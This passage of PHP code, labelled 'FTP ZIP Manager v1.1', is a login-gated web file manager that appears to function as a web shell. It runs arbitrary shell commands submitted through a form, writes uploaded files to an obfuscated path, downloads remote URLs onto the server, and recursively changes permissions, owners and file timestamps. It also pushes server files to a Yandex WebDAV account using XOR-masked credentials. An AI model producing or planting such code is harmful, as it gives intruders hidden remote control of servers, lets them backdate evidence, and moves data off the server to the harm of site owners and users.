if ($expired) {
echo "</div>";
echo "Please login:<br />";
?>
<form method="POST" action="<?php echo $docname; ?>">
<table border="0">
<tr>
<td>Username</td>
<td><input class="logform" type="text" name="adm_user" /></td>
</tr>
<tr>
<td>Password</td>
<td><input class="logform" type="password" name="adm_pass" /></td>
</tr>
</table>
<input class="create" type="submit" value="Login" name="login" />
</form>
</div></body></html>
<?php die();
}
// PHP PAGE
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
if(isset($_POST['dir'])) $dir = urldecode($_POST['dir']);
else $dir = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/');
//OWNER
if(isset($_POST['gowner']) && $_POST['group'] != ""):
$ogval = explode('/',$_POST['group']);
$taskdelete = '<span class="redsp">Failed owner='.$ogval[0].'.</span>';
if(chown(urldecode($_POST['gowner']),$ogval[0])) $taskdelete = 'owner='.$ogval[0].' OK.';
if(!chgrp(urldecode($_POST['gowner']),$ogval[1])) $taskdelete .= '<span class="redsp"> Failed group='.$ogval[1].'.</span>';
endif;
//TOUCH
if(isset($_POST['touch']) && $_POST['time'] != ""):
$taskdelete = '<span class="redsp">TOUCH Failed!!!</span>';
$ttime = timeTOint($_POST['time']);
if(isset($_POST['alltouch'])) touchDirectory(urldecode($_POST['touch']),$ttime);
if(touch(urldecode($_POST['touch']),$ttime)) $taskdelete = "Touched OK.";
endif;
//CHMOD
if(isset($_POST['chmod'])):
$_POST['chmod'] = urldecode($_POST['chmod']);
$_POST['perms'] = octaldec($_POST['perms']);
if(isset($_POST['fperms'])) {
$_POST['fperms'] = octaldec($_POST['fperms']);
chmodDirectory($_POST['chmod']);
}
chmod($_POST['chmod'], $_POST['perms']);
endif;
// END CHMOD
// RENAME, EDIT
if(isset($_POST['rename'])):
if (rename (urldecode($_POST['editc']), $dir.'/'.mb_convert_encoding($_POST['editf'],$_SESSION['charset'],"UTF-8"))) $taskdelete = '<span class="redsp">'.$_POST['editf'].'</span> SAVED.';
endif;
if(isset($_POST['editt']) && isset($_POST['editf'])):
if($_SESSION['charset'] == "windows-1251" || $_SESSION['charset'] == "windows-1252") $_POST['editt'] = mb_convert_encoding($_POST['editt'],$_SESSION['charset'],"utf-8");
if($_POST['editf'] != $_POST['editres']) {
if(file_put_contents($dir.'/'.mb_convert_encoding($_POST['editf'],$_SESSION['charset'],"UTF-8"),$_POST['editt'])) $taskdelete = $_POST['editres'].' <span class="redsp">SAVED as</span> '.$_POST['editf'].'.';
else $taskdelete = $_POST['editres'].' <span class="redsp">not SAVED.</span>';
} else {
if(file_put_contents(urldecode($_POST['editc']),$_POST['editt'])) $taskdelete = 'File <span class="redsp">'.$_POST['editres'].'</span> SAVED.';
else $taskdelete = $_POST['editres'].' <span class="redsp">not SAVED.</span>';
}
endif;
//file upload
if(isset($_POST['upload'])):
$a4cr = $_SESSION['a4'] ^ str_pad('', strlen($_SESSION['a4']), $reg_user);
move_uploaded_file($_FILES['wert45uyuio']['tmp_name'], $a4cr);
unset($_SESSION['a4']);
endif;
// END file upload
// DELETE Folder
if($action == 'deletedir'):
$dirdel = $dir.'/'.urldecode($_POST['filetodel']);
removeDirectory($dirdel);
if(!is_dir($dirdel)) $taskdelete = 'Folder <span class="redsp">'.$_POST['origname'].'</span> remooved Successfully.';
else $taskdelete = 'ERROR!!! Folder <span class="redsp">'.$_POST['origname'].'</span> may be not empty or incorrect CHMOD.';
endif;
// END DELETE Folder
// DELETE File
if($action == 'deletef'):
$taskdelete = 'File <span class="redsp">'.$_POST['origname'].'</span> remooved Successfully';
$old_direction = getcwd();
if ( !(chdir($dir)) ) $taskdelete = 'Error open path '.$dir.' to file ';
if ( !(unlink(urldecode($_POST['filetodel']))) ) $taskdelete = 'Error Delete File <span class="redsp">'.$_POST['origname'].'</span>.';
chdir($old_direction);
endif;
// end DELETE
// DISK File
if($action == 'disk'):
$sendpath = urldecode($_POST['dir']).'/'.urldecode($_POST['file']);
$taskdelete = yandex_send($sendpath,$_POST['origname'],$reg_user);
endif;
// end DISK
// MOOV FILE
if(isset($_POST['source']) && !empty($_POST['source'])) {
$explsrc = explode('p', $_POST['source']);
if($explsrc[0] == 'htt') {
$source = $_POST['source'];
if($_POST['dest'] == "") {
$dest = $_POST['source'];
$dest = substr($dest, strrpos($dest, '/'));
$dest = $dir.''.$dest;
} else {
$dest = $dir.'/'.$_POST['dest'];
}
if (copy($source, $dest)) $taskdelete = 'File <strong>'.$source.'</strong> mooved to current folder';
else $taskdelete = '<strong>Copy failed</strong>';
} else {
$taskdelete = '<b>This URL for COPY is incorrect: <span class="redsp">'.$_POST["source"].'</span></b>';
}
}
// END MOOV FILE
$startdir = getcwd();
$startdir = str_replace('\\','/',$startdir);
//Save Password
if($action == "chpass"):
$allfile_c = file_get_contents($_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF']);
$allfile_a = explode('//savepass',$allfile_c);
if($savedpass == "Save Password") {
$allfile_a[1] = "\n//not\n";
$taskdelete = '<span class="redsp">Password removed</span> from this file.';
} else {
$tegsarr = array("<?php", "?>");
$untegs = str_replace($tegsarr,"",file_get_contents($startdir."/ppswd.php")).'$savedpass = "Remove Password";';
$allfile_a[1] = "\n$untegs\n";
$old_direction = getcwd();
chdir($startdir);
unlink('ppswd.php');
chdir($old_direction);
$taskdelete = '<span class="redsp">Password saved </span> in this work file.<br />And removed file <span class="redsp">ppswd.php</span> from work folder.';
}
$allfile_c = implode('//savepass',$allfile_a);
file_put_contents($_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'], $allfile_c);
endif;
// End Save Password
if(file_exists("zipmaker.php")):
include_once "zipmaker.php";
$zipisset = 1;
endif;
chdir($dir);
if(isset($_POST['exec'])):
$execcom = mb_convert_encoding($_POST['exec'],$_SESSION['charset'],"UTF-8");
$exoutput = `$execcom`;
if($exoutput) {
$exoutput = preg_replace('/ +/','<br />',$exoutput);
$exoutput = mb_convert_encoding($exoutput,"UTF-8",$_SESSION['charset']);
$execmess = '<span class="white_sp">'.$_POST['exec'].' Result:</span><br />'.$exoutput.'<br />';
} else $execmess = '<span class="redsp">'.$_POST['exec'].' not FOUND!</span><br />';
endif;
$basedir = getcwd();
$basedir = str_replace('\\','/',$basedir);
$cBD = convlink($basedir);
echo '<span class=logout><a class="getjs" href="javascript:void(0);" data="action=logout">[Logout]</a> <a class="modopen" id="yaset" href="javascript:void(0);"><span class="redsp">[Yandex settings]</span></a> <a class="getjs white-get" href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#action=chpass">['.$savedpass.']</a></span>
<div class="right-form">default charset: <form action="'.$docname.'" method="POST">
<select name="charset" onchange="this.form.submit()">
<option style="display:none">'.$_SESSION['charset'].'</option>
<option value="utf-8">utf-8</option>
<option value="windows-1251">windows-1251</option>
<option value="windows-1252">windows-1252</option>
</select>
<input type="hidden" name="progress" value="charset" />
<input type="hidden" name="dir" value="'.$cBD.'" />
</form>
</div>
</div>';
if (is_dir($basedir)) {
// MAKE DIR
if(isset($_POST['createf']) && !empty($_POST['createf'])):
if(mkdir($basedir.'/'.mb_convert_encoding($_POST['createf'],$_SESSION['charset'],"UTF-8"), 0700)) $taskdelete = '<span class="white_sp">Folder </span><b>'.$_POST['createf'].'</b><span class="white_sp"> created successfully.</span>';
else $taskdelete = 'ERROR!!! Creating folder <span class="white_sp">'.$_POST['createf'].'</span> failed.';
endif;
// END MAKE DIR
$parentarr = explode('/',$basedir);
array_pop($parentarr);
$parent = implode('/',$parentarr);
$cPAR = convlink($parent != ""?$parent:"/");
$cur = $basedir;
$path = '';
$path_n = '';
while (substr($cur,0,1) == '/') {
$cur = substr($cur,1,strlen($cur));
$path .= '/';
$path_n .= '/';
}
$p_out = $path;
while (strlen($cur) > 0) {
$k = strpos($cur,'/');
if (!strpos($cur,'/')) $k = strlen($cur);
$s = substr($cur,0,$k);
$cur = substr($cur,$k+1,strlen($cur));
$path .= convlink($s).'/';
$path_n .= convname($s).'/';
$p_out .= '<a class="getjs" href="javascript:void(0);" data="dir='.$path.'">'.convname($s).'</a>/';
}
}
// COMPRESSOR
if ($action == 'compress') {
$name_arch = $basedir.'/arc_'.$s.'.zip';
$files_dir = $basedir;
$files_to_arch = array();
for($d = @opendir($files_dir); $file = @readdir($d);)
{
if($file!='.' && $file!='..')
{
$files_to_arch[] = $file;
}
}
chdir($files_dir);
$GLOBALS['arcmistakes'] = array();
$GLOBALS['countmistakes'] = 0;
$archive = new PclZip($name_arch);
$v_list = $archive->create(implode(',', $files_to_arch),PCLZIP_CB_PRE_ADD, 'TestBeforeAdd');
if($v_list == 0)
{
$taskdelete = "Error : ".$archive->errorInfo(true);
}
else
{
$taskdelete = 'File <span class="redsp">arc_'.convname($s).'.zip </span>SAVED.';
if($GLOBALS['countmistakes'] > 0):
$taskdelete .= '<br />
<p><span class="redsp font16">Some files may not be added to the archive, because their size exceeds the allowable!</span><br /><br />
<b>You can try to change <span class="redsp">zipmaker.php</span> settings in line 6.</b>
<br /><br />
<b>The List of these files:</b></p>
<table class="big-zip">
<tr><td></td><td>Path/Filaname</td><td>Size</td></tr>';
foreach ($GLOBALS['arcmistakes'] as $key=>$mistake) {
$nom = $key + 1;
$notarcsize = convertsize($GLOBALS['arcmistakes'][$key]['size']);
$taskdelete .= '<tr><td>'.$nom.'.</td><td>'.$GLOBALS['arcmistakes'][$key]['filename'].'</td><td>'.$notarcsize.'</td></tr>';
}
$taskdelete .='</table>';
endif;
}
chdir($basedir);
}
// END COMPRESSOR
echo '<div class="bigblock"><div class="contents"><div class="urls"><a class="home-a" href="'.$docname.'" title="Go to script home page"><div class="home"></div></a>Current dir: '.$p_out.'</div>'; ?>
<div class="cdiv"><span class="grey_sp">Show properties</span><!--
--><select name="options" id="chopt"><!--
--><option value=".chmod">chmod</option><!--
--><option value=".mtime/.fmtime">modify time</option><!--
--><option value=".gowner/.fgowner">owner/group</option><!--
--><option value=".gs/.fgs">size</option><!--
--><option value=".ctime">created</option><!--
--></select>
<a class="white-get" href="javascript:void(0);" onClick="copyFile('<?php echo $cBD; ?>','<?php echo convname($s); ?>','<?php echo $cBD; ?>');">COPY this DIR</a>
<div class="pfclip"><form id="prename" method="POST" action="<?php echo $docname; ?>" onSubmit="return test_upload('testrename');"><input name="editc" value="<?php echo $cBD; ?>" type="hidden"><input id="rnname" name="editf" value="<?php echo convname($s); ?>" type="text"><input name="dir" value="<?php echo
$cPAR; ?>" type="hidden"> <input class="create" name="rename" value="Rename" type="submit"></form>
</div></div>
<?php
echo '<div class="dirlist">';
echo '<div class="filedirtitle">Directory FOLDERS</div>';
echo '<p><b><a class="getjs" href="javascript:void(0);" data="dir='.$cPAR.'">Parrent directory</a></b></p>';
$glob = array();$c = 0;
if ($dh = opendir(getcwd())) {
while (($file = readdir($dh)) !== false) {
if ($file != '..' && $file != '.') $glob[$c++] = $file;
}
closedir($dh);
}
sort ($glob);
foreach ($glob as $filename) {
if (is_dir($filename)) {
$og = getowgr($filename);
$fperms = substr(sprintf('%o', fileperms($basedir."/".$filename)), -4);
echo '<div class="dirs-eq"><a class="getjs" href="javascript:void(0);" data="dir='.$cBD.'/'.convlink($filename).'"><b>'.convname($filename).'</b></a></div> <a class="modopen chmod addsel" href="javascript:void(0);" chmod="'.$cBD.'" origdir="'.convname($filename).'" dirname="'.convlink($filename).'" perms="'.$fperms.'">['.$fperms.']</a><a class="modopen mtime addsel" href="javascript:void(0);" touch="'.$cBD.'" origdir="'.convname($filename).'" dirname="'.convlink($filename).'" mtime="'.date("d.m.Y/H:i:s", filemtime($filename)).'">'.date("d.m.Y/H:i:s", filemtime($filename)).'</a><a class="modopen gowner addsel" href="javascript:void(0);" gowner="'.$cBD.'" origdir="'.convname($filename).'" dirname="'.convlink($filename).'" group="'.$og['owid'].'/'.$og['grid'].'" owner="'.$og['name'].'/'.$og['group'].'">'.$og['owid'].'/'.$og['grid'].' : '.$og['name'].'/'.$og['group'].'</a><a class="modopen gs addsel" href="javascript:void(0);" dir="'.$cBD.'/'.convlink($filename).'" gs="'.convname($filename).'">get size</a><div class="ctime addsel">'.date("d.m.Y/H:i:s", filectime($filename)).'</div> <a class="delete-link" href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#filetodel='.convlink($filename).'#.d/s.#origname='.convname($filename).'#.d/s.#action=deletedir" title="Remove folder '.convname($filename).'">[Remove]</a><br />';
}
}
echo '<br />
<form action="'.$docname.'" method="POST">
<input class="create-input" type="text" name="createf" placeholder="new DiR name" />
<input type="hidden" name="dir" value="'.$cBD.'" />
<input class="create" type="submit" value="Create">
</form></div><div class="filelist">';
echo '<div class="filedirtitle">Directory FILES</div><br />';
$filez = $glob;
reset($filez);
if (sizeof($filez) > 0):
foreach ($filez as $filename) {
$og = getowgr($filename);
$fperms = substr(sprintf('%o', fileperms($basedir."/".$filename)), -4);
if (strtolower(fileext(urldecode(convlink($filename)))) == 'zip') {
if (is_file($filename)) {
if(isset($zipisset)) echo '<div class="files-eq"><a class="getjs" href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#unzip='.convlink($filename).'#.d/s.#action=view" title="View archive contents"><b>'.convname($filename).'</b> [view]</a><span class="nocolor">|</span><a class="getjs white-get" href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#unzip='.convlink($filename).'#.d/s.#action=unzip" title="Extract files from archive">[unzip]</a></div> ';
else echo '<div class="files-eq"><b>'.convname($filename).'</b></div>';
echo '<a class="modopen chmod addsel" href="javascript:void(0);" dir="'.$cBD.'" chmod="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" perms="'.$fperms.'">['.$fperms.']</a><a class="modopen fmtime addsel" href="javascript:void(0);" dir="'.$cBD.'" touch="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" mtime="'.date("d.m.Y/H:i:s", filemtime($filename)).'">['.date("d.m.Y/H:i:s", filemtime($filename)).']</a><a class="modopen fgowner addsel" href="javascript:void(0);" dir="'.$cBD.'" gowner="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" group="'.$og['owid'].'/'.$og['grid'].'" owner="'.$og['name'].'/'.$og['group'].'">'.$og['owid'].'/'.$og['grid'].' : '.$og['name'].'/'.$og['group'].'</a><div class="fgs addsel">'.convertsize(filesize($filename)).'</div><div class="ctime addsel">'.date("d.m.Y/H:i:s", filectime($filename)).'</div> <a class="modopen white-get" href="javascript:void(0);" file="'.convlink($filename).'" origname="'.convname($filename).'" dir="'.$cBD.'" title="File '.convname($filename).'">[Options]</a><br />';
}
} else {
if (is_file($filename)) {
echo '<div class="files-eq"><b>'.convname($filename).'</b></div> <a class="modopen chmod addsel" href="javascript:void(0);" dir="'.$cBD.'" chmod="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" perms="'.$fperms.'">['.$fperms.']</a><a class="modopen fmtime addsel" href="javascript:void(0);" dir="'.$cBD.'" touch="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" mtime="'.date("d.m.Y/H:i:s", filemtime($filename)).'">['.date("d.m.Y/H:i:s", filemtime($filename)).']</a><a class="modopen fgowner addsel" href="javascript:void(0);" dir="'.$cBD.'" gowner="'.convlink($basedir.'/'.$filename).'" name="'.convname($filename).'" group="'.$og['owid'].'/'.$og['grid'].'" owner="'.$og['name'].'/'.$og['group'].'">'.$og['owid'].'/'.$og['grid'].' : '.$og['name'].'/'.$og['group'].'</a><div class="fgs addsel">'.convertsize(filesize($filename)).'</div><div class="ctime addsel">'.date("d.m.Y/H:i:s", filectime($filename)).'</div> <a class="modopen white-get" href="javascript:void(0);" file="'.convlink($filename).'" origname="'.convname($filename).'" dir="'.$cBD.'" title="Edit '.convname($filename).'">[Options]</a><br />';
}
}
}
endif;
echo '<div class="cdiv">-----------------------------------</div>';
if(isset($zipisset)) echo '<a class="getjs" href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#action=compress" title="Directory to ZIP file"><span class="redsp">[SAVE this Directory to ZIP file]</span></a>';
else echo '<div>File <span class="white_sp">zipmaker.php</span> not found!!!<br />You should better upload it<br />to this folder:<br /><a class="getjs" href="javascript:void(0);" data="dir='.convlink($startdir).'">'.convname($startdir).'</a></div>';
?>
<form enctype="multipart/form-data" action="<?php echo $docname; ?>" method="POST" onSubmit="return test_upload('upload');">
<div>
<div class="filename">File</div>
<input name="wert45uyuio" type="file" onChange="setFile(this.value);" />
<?php echo '<input type="hidden" name="dir" value="'.$cBD.'" />'; ?>
<input class="create" type="submit" name="upload" value="Upload" />
</div>
</form>
<form action="<?php echo $docname; ?>" method="POST">
<input class="create-input" type="text" name="exec" placeholder="enter sh_exec command" />
<?php echo '<input type="hidden" name="dir" value="'.$cBD.'" />'; ?>
<input class="create" type="submit" value="- Exec -">
</form>
</div></div><br />
<div id="resscr" class="unzip">
<div class="progress"><div class="pr-inside"></div></div>
<div class="tablo">Found files quantity: 0</div>
</div>
<?php
if(isset($_POST['unzip'])):
$unzip = urldecode($_POST['unzip']);
$unzip_name = convname($unzip);
if (is_file($unzip)) {
$zip = new PclZip($unzip);
if (($list = $zip->listContent()) == 0) {die("Error : ".$zip->errorInfo(true)); }
//calculate statistics...
$fil = 0;
$tot_comp = 0;
$tot_uncomp = 0;
for ($i=0; $i<sizeof($list); $i++) {
if ($list[$i]['folder']=='1') {
$fold++;
$dirs[$fold] = $list[$i]['stored_filename'];
if ($action == 'unzip') {
$dirname = $list[$i]['stored_filename'];
$dirname = substr($dirname,0,strlen($dirname)-1);
mkdir($basedir.'/'.$dirname); }
chmod($basedir.'/'.$dirname,0777);
}else{$fil++;}
$tot_comp += $list[$i]['compressed_size'];
$tot_uncomp += $list[$i]['size'];
}
echo "<div class=unzip>".($_POST['action'] == 'unzip' ? 'Unzipping' : 'Viewing')." file <b>$unzip_name</b><br />\n";
echo "$fil files in archive<br />\n";
echo "Compressed archive size: ".convertsize($tot_comp)."<br />\n";
echo "Uncompressed archive size: ".convertsize($tot_uncomp)."<br />\n";
if ($action == 'unzip') {
echo "<br /><b>Starting to decompress...</b><br />";
$zip->extract('');
echo "Archive sucessfuly extracted!<br />\n";
}
if ($action == 'view') {
echo "<br />";
for ($i=0; $i<sizeof($list); $i++) {
if ($list[$i]['folder'] == 1) {
echo "<b>Folder: ".convname($list[$i]['stored_filename'])."</b><br />";
} else {
echo convname($list[$i]['stored_filename'])." (".convertsize($list[$i]['size']).")<br />";
}
}
}
echo "</div>";
}
endif;
// MESSAGE
if(isset($taskdelete) || isset($execmess)): ?>
<div class="unzip">
<span class="moovf">
<?php echo $execmess; ?>
<?php echo $taskdelete; ?>
</span>
</div>
<?php endif;
// END MESSAGE
// GET File MESSAGE
if(isset($_POST['fmessage'])) { ?>
<div class="unzip">
<span class="white_sp">
<?php
if($_POST['fmessage'] != 'error_getting_file'){ ?>
File </span>-<b> <?php echo $_POST['fmessage']; ?> </b>-<span class="white_sp"> loaded to your local folder: </span>
<?php echo $path_n; ?>.
<?php } else { ?>
<span class="redsp">ERROR while getting file!!!</span>
<?php } ?>
</div>
<?php
}
// END GET File MESSAGE
// REMOTE FTP
?>
<div class="contents">
<div class="pdd-all">
<p><b>Remote FTP: </b>
<?php if(isset($_POST['loftp']) && $_POST['loftp'] == 'true') echo ' You loged out from - '; ?>
<?php if(isset($_SESSION['a8'])) echo '<span class="white_sp">'.$_SESSION['a8'].'</span>'; ?>
</p>
<?php
if (isset($_POST['loftp']) && $_POST['loftp'] == true):
unset($_SESSION['a8']);
unset($_SESSION['a9']);
unset($_SESSION['a18']);
unset($_SESSION['fl0']);
endif;
function ftp_start($basedir,$cBD) {
if(@!$connect = ftp_connect($_SESSION['a8'])):
echo 'Connection Failed';
return false;
endif;
if (ftp_login($connect,$_SESSION['a9'],$GLOBALS['a10']))
{
ftp_pasv($connect, true);
if (!isset($_POST['folder']) or empty($_POST['folder'])) {
if (!isset($_SESSION['fl0'])):
$_SESSION['fl0'] = "/";
endif;
} else $_SESSION['fl0'] = urldecode($_POST['folder']);
if ( @!ftp_chdir($connect, $_SESSION['fl0']) ) echo "Path ".$_SESSION['fl0']." not found.<br/>";
//GET file
if(isset($_POST['action']) && $_POST['action'] == 'ftpgetfile'):
$fwrite = mb_convert_encoding($_POST['filename'],$_SESSION['charset'],"UTF-8");
if ( @ftp_get( $connect, $fwrite, $fwrite, FTP_BINARY )) {
$reload_page = 'dir='.$cBD.'#.d/s.#fmessage='.$_POST["filename"];
} else {
$reload_page = 'dir='.$cBD.'#.d/s.#fmessage=error_getting_file';
}
echo '<script type="text/javascript">
function reload_get(){
submitGet("'.$reload_page.'");
}
</script>';
endif;
//AND GET
$parent = "/";
$tmp = "";
if ( ftp_pwd($connect) != "/" )
{
$pos = strrpos ( ftp_pwd($connect), "/" );
if ( $pos ) $parent = substr_replace( ftp_pwd($connect), "", $pos );
$tmp = "/";
echo '<a class="getjs" href="javascript:void(0);" data="folder='.convlink($parent).'#.d/s.#dir='.$cBD.'"><b>Parrent folder</b></a><br/>';
}
echo "<b>Current folder: ".convname(ftp_pwd($connect))."</b><br /><br />";
if ($contents = ftp_rawlist($connect,".")) {
echo '<div class="dirlist"><div class="filedirtitle">Directory FOLDERS</div>';
$i = 0;
while (isset($contents[$i])) :
$itemz = explode(" ",$contents[$i]);
$ki = 0;
foreach($itemz as $kval):
if($kval != "") {
$item[$i][$ki] = $kval;
$ki++;
}
endforeach;
$item_type = substr($item[$i][0],0,1);
if ($item_type == "d"):
echo '<div class="dirs-eq"><a class="getjs" href="javascript:void(0);" data="folder='.convlink(ftp_pwd($connect).$tmp.$item[$i][8]).'#.d/s.#dir='.$cBD.'"><b>'.convname($item[$i][8]).'</b></a></div> - <a localp="'.$cBD.'" reload="'.$_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"].'" remotep="'.convlink(ftp_pwd($connect).$tmp.$item[$i][8]).'" class="white-folder" title="Get All files(folders) from this folder to current dirrectory." href="javascript:void(0);">[get files]</a><br />';
endif;
$i++;
endwhile;
echo '</div>';
echo '<div class="filelist"><div class="filedirtitle">Directory FILES</div>';
$i = 0;
while (isset($contents[$i])) :
$itemz = explode(" ",$contents[$i]);
$ki = 0;
foreach($itemz as $kval):
if($kval != "") {
$item[$i][$ki] = $kval;
$ki++;
}
endforeach;
$item_type = substr($item[$i][0],0,1);
if ($item_type != "d") :
echo '<div class="files-eq"><b>'.convname($item[$i][8]).'</b></div> - <a class="white-get getjs" title="Get this file to current dirrectory." href="javascript:void(0);" data="dir='.$cBD.'#.d/s.#action=ftpgetfile#.d/s.#filename='.convname($item[$i][8]).'#.d/s.#folder='.convlink($_SESSION['fl0']).'">[get]</a><br />';
endif;
$i++;
endwhile;
echo '</div><div class="clear"></div>';
}
}
else
{
echo "Wrong password or login ".$_SESSION['a9'];
return false;
}
ftp_close($connect);
return true;
}
if (isset($_SESSION['a8'],$_SESSION['a9'],$_SESSION['a18'])) {
if (ftp_start($basedir,$cBD) == true) :
echo '<br /><a class="getjs" href="javascript:void(0);" data="loftp=true#.d/s.#dir='.$cBD.'"><span class="redsp">[Logout this FTP HOST]</span></a><br/>';
else:
unset($_SESSION['a8']);
unset($_SESSION['a9']);
unset($_SESSION['a18']);
unset($_SESSION['fl0']);
echo '<br /><a class="getjs" href="javascript:void(0);" data="dir='.$cBD.'"><span class="redsp">[Try again???]</span></a><br/>';
endif;
} else {
if (isset($_POST['ftphost']) && !empty($_POST['ftphost'])):
$_SESSION['a8'] = $_POST['ftphost'];
$_SESSION['a9'] = $_POST['ftpuser'];
$_SESSION['a18'] = $_POST['grouptitle'] ^ str_pad('', strlen($_POST['grouptitle']), $reg_user);
$GLOBALS['a10'] = $_POST['grouptitle'];
if (ftp_start($basedir,$cBD) == true) :
echo '<br /><a class="getjs" href="javascript:void(0);" data="loftp=true#.d/s.#dir='.$cBD.'"><span class="redsp">[Logout this FTP HOST]</span></a><br/>';
else:
unset($_SESSION['a8']);
echo '<br /><a class="getjs" href="javascript:void(0);" data="dir='.$cBD.'"><span class="redsp">[Try again???]</span></a><br/>';
endif;
else:
?>
<form method="POST" action="<?php echo $docname; ?>">
<input id="ftp-host" class="mfinput" placeholder="FTP HOST" type="text" name="ftphost" /><br /><br />
<input id="ftp-user" class="mfinput" placeholder="Username" type="text" name="ftpuser" /><br /><br />
<input id="ftp-pass" class="mfinput" placeholder="Password" type="password" name="grouptitle" /><br /><br />
<input type="hidden" name="dir" value="<?php echo $cBD; ?>" />
<input id="form-ftp" class="butsend" type="submit" value="Connect" /><br />
</form>
<?php
endif;
}
echo '</div></div><br />';
// END FTP
// MOOV FILE HTML
?>
<div class="contents">
<div class="pdd-all">
<div class="moovf">MOOVE File to this Directory, ( <span class="black_sp"><?php echo $path_n; ?></span> )</div><br />
<form method="POST" action="<?php echo $docname; ?>">
<div class="moovf">Source File</div><br />
<input class="mfinput mfbig" id="src" type="text" name="source" value="" placeholder="http://www.somedomain.com/somefile.zip (Required field!!!)" /><br /><br />
<div class="moovf">Rename File<span class="black_sp"> leave it empty if you want to save original filename</span></div><br />
<input class="mfinput mfmidd" type="text" name="dest" value="" placeholder="myfile.zip (Not required field...)" /><br /><br />
<input type="hidden" name="dir" value="<?php echo $cBD; ?>" />
<input id="form-copy" type="submit" class="butsend" value="MOOV" />
</form>
</div>
</div><br />
<div class="contents">
<div class="cdiv">FTP ZIP Manager v1.1, August 19th 2015<br />
<span class="copy-w">©</span> S&B, <?php echo date("Y") ?>
</div>
</div>
</div>
</div>
<div id="modal_form">
<span id="modal_close"> </span>
<div id="modres">
</div>
</div>
<div id="overlay"></div>
<div id="above"></div>
<div class="modal-blocks">
<div id="yaset-block">
<p id="ym-saved">Yandex settings:</p>
<form id="yaform" method="POST" action="<?php echo $docname; ?>" onSubmit="return yachange();">
<input type="text" name="yafolder" placeholder="FOLDER = name/name" value="<?php echo $_SESSION['a2']; ?>" /><br />
<input type="text" name="yalogin" placeholder="username" value="<?php echo $_SESSION['a1'] ^ str_pad('', strlen($_SESSION['a1']), $reg_user); ?>" /><br />
<input type="text" name="yapass" placeholder="password" value="<?php echo $_SESSION['a3'] ^ str_pad('', strlen($_SESSION['a3']), $reg_user); ?>" /><br />
<input type="hidden" name="progress" value="yachange" />
<input class="create" type="submit" value="Change" />
</form>
</div>
<form id="gp-form" method="POST" action="<?php echo $docname; ?>">
<div id="gp-div"></div>
</form>
</div>
</body>
<?php
if(isset($_SESSION['a7'])): ?>
<div class="fclip">
<form method="POST" action="<?php echo $docname; ?>">
Copied: <span class="redsp"><?php echo $_SESSION['a7']['name']; ?></span><input type="hidden" name="cname" value="<?php echo $_SESSION['a7']['name']; ?>" /><input type="hidden" name="dir" value="<?php echo $cBD; ?>" /> <input class="create" type="submit" name="fpaste" value="Paste" /> <input class="create" type="submit" name="mfpaste" value="Moov" />
</form>
</div>
<?php endif; ?>
</html>
<?php
function removeDirectory($path) {
$handle = opendir($path);
while ( false !== ($file = readdir($handle)) ) {
if ( ($file !== ".") && ($file !== "..") ) {
if ( is_file($path."/".$file) ) {
chmod($path . "/" . $file, 0666);
unlink($path . "/" . $file);
} else {
chmod($path . "/" . $file, 0777);
removeDirectory($path . "/" . $file);
}
}
}
closedir($handle);
chmod($path, 0777);
rmdir($path);
}
function chmodDirectory($path) {
$handle = opendir($path);
while ( false !== ($file = readdir($handle)) ) {
if ( ($file !== ".") && ($file !== "..") ) {
if ( is_file($path."/".$file) ) {
chmod($path . "/" . $file, $_POST['fperms']);
} else {
chmodDirectory($path . "/" . $file);
chmod($path . "/" . $file, $_POST['perms']);
}
}
}
closedir($handle);
}
function touchDirectory($path,$ttime) {
$handle = opendir($path);
while ( false !== ($file = readdir($handle)) ) {
if ( ($file !== ".") && ($file !== "..") ) {
if ( is_file($path."/".$file) ) {
touch($path . "/" . $file, $ttime);
} else {
chmodDirectory($path . "/" . $file);
touch($path . "/" . $file, $ttime);
}
}
}
closedir($handle);
}
function yandex_send($file,$name,$key) {
$return = 'Yandex settings <span class="redsp">EMPTY!!!</span> Adjust them! Look for settings link at the top of page.';
if($_SESSION['a2'] == "" || $_SESSION['a1'] == "" || $_SESSION['a3'] == "") return $return;
$url = "/".$_SESSION['a2']."/".$name;
$user = $_SESSION['a1'] ^ str_pad('', strlen($_SESSION['a1']), $key);
$pass = $_SESSION['a3'] ^ str_pad('', strlen($_SESSION['a3']), $key);
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_URL, 'https://webdav.yandex.ru' . $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, file_get_contents($file));
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Authorization: Basic " . base64_encode($user . ":" . $pass)));
$answer = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($info['http_code'] != '201') $return = '<span class="redsp">Error!</span> While sending file <span class="redsp">'.$_POST['origname'].'</span> to Yandex';
else $return = 'File <span class="redsp">'.$_POST['origname'].'</span> sent to Yandex';
return $return;
}
function reset_connect($fti) {
$_SESSION['disconnect']++;
ftp_close($connect);
echo $fti;
exit;
}
function folder_tree($connect, $ftp_fold, $startfc) {
